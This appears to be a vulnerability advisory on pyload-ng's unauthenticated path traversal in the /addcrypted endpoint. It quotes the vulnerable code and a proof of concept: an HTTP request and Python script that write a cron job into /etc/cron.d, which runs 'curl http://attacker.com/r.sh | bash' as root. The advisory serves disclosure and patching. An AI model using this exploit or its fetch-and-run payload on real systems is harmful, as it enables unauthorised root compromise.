An open API service providing security vulnerability metadata for many open source software ecosystems.

GSA_kwCzR0hTQS00OHJwLWpjNzktMjI2NM4ABKwO

Critical EPSS: 0.0071% (0.71461 Percentile) EPSS:

pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)

Affected Packages Affected Versions Fixed Versions
pypi:pyload-ng
PURL: pkg:pypi/pyload-ng
<= 0.5.0b3.dev89 0.5.0b3.dev90
1 Dependent packages
1 Dependent repositories
2,845 Downloads last month

Affected Version Ranges

All affected versions

0.5.0a5.dev528, 0.5.0a5.dev532, 0.5.0a5.dev535, 0.5.0a5.dev536, 0.5.0a5.dev537, 0.5.0a5.dev539, 0.5.0a5.dev540, 0.5.0a5.dev545, 0.5.0a5.dev562, 0.5.0a5.dev564, 0.5.0a5.dev565, 0.5.0a6.dev570, 0.5.0a6.dev578, 0.5.0a6.dev587, 0.5.0a7.dev596, 0.5.0a8.dev602, 0.5.0a9.dev615, 0.5.0a9.dev629, 0.5.0a9.dev632, 0.5.0a9.dev641, 0.5.0a9.dev643, 0.5.0a9.dev655, 0.5.0a9.dev806, 0.5.0b1.dev1, 0.5.0b1.dev2, 0.5.0b1.dev3, 0.5.0b1.dev4, 0.5.0b1.dev5, 0.5.0b2.dev9, 0.5.0b2.dev10, 0.5.0b2.dev11, 0.5.0b2.dev12, 0.5.0b3.dev13, 0.5.0b3.dev14, 0.5.0b3.dev17, 0.5.0b3.dev18, 0.5.0b3.dev19, 0.5.0b3.dev20, 0.5.0b3.dev21, 0.5.0b3.dev22, 0.5.0b3.dev24, 0.5.0b3.dev26, 0.5.0b3.dev27, 0.5.0b3.dev28, 0.5.0b3.dev29, 0.5.0b3.dev30, 0.5.0b3.dev31, 0.5.0b3.dev32, 0.5.0b3.dev33, 0.5.0b3.dev34, 0.5.0b3.dev35, 0.5.0b3.dev38, 0.5.0b3.dev39, 0.5.0b3.dev40, 0.5.0b3.dev41, 0.5.0b3.dev42, 0.5.0b3.dev43, 0.5.0b3.dev44, 0.5.0b3.dev45, 0.5.0b3.dev46, 0.5.0b3.dev47, 0.5.0b3.dev48, 0.5.0b3.dev49, 0.5.0b3.dev50, 0.5.0b3.dev51, 0.5.0b3.dev52, 0.5.0b3.dev53, 0.5.0b3.dev54, 0.5.0b3.dev57, 0.5.0b3.dev60, 0.5.0b3.dev62, 0.5.0b3.dev64, 0.5.0b3.dev65, 0.5.0b3.dev66, 0.5.0b3.dev67, 0.5.0b3.dev68, 0.5.0b3.dev69, 0.5.0b3.dev70, 0.5.0b3.dev71, 0.5.0b3.dev72, 0.5.0b3.dev73, 0.5.0b3.dev74, 0.5.0b3.dev75, 0.5.0b3.dev76, 0.5.0b3.dev77, 0.5.0b3.dev78, 0.5.0b3.dev79, 0.5.0b3.dev80, 0.5.0b3.dev81, 0.5.0b3.dev82, 0.5.0b3.dev85, 0.5.0b3.dev87, 0.5.0b3.dev88, 0.5.0b3.dev89

All unaffected versions

0.5.0b3.dev90, 0.5.0b3.dev91, 0.5.0b3.dev92, 0.5.0b3.dev93

Summary

Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.

Details

  • Endpoint: POST /addcrypted
  • Issue: src/pyload/webui/app/blueprints/cnl_blueprint.py

Vulnerable Code

 dlc_path = os.path.join( 
     dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc_path, mode="wb") as fp: 

PoC

POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==

Decoded payload:

* * * * * root curl -s http://attacker.com/r.sh | bash

Send crafted POST

import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
    "package": "../../../../etc/cron.d/exploit",
    "crypted": b64
})

Impact

The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.

References: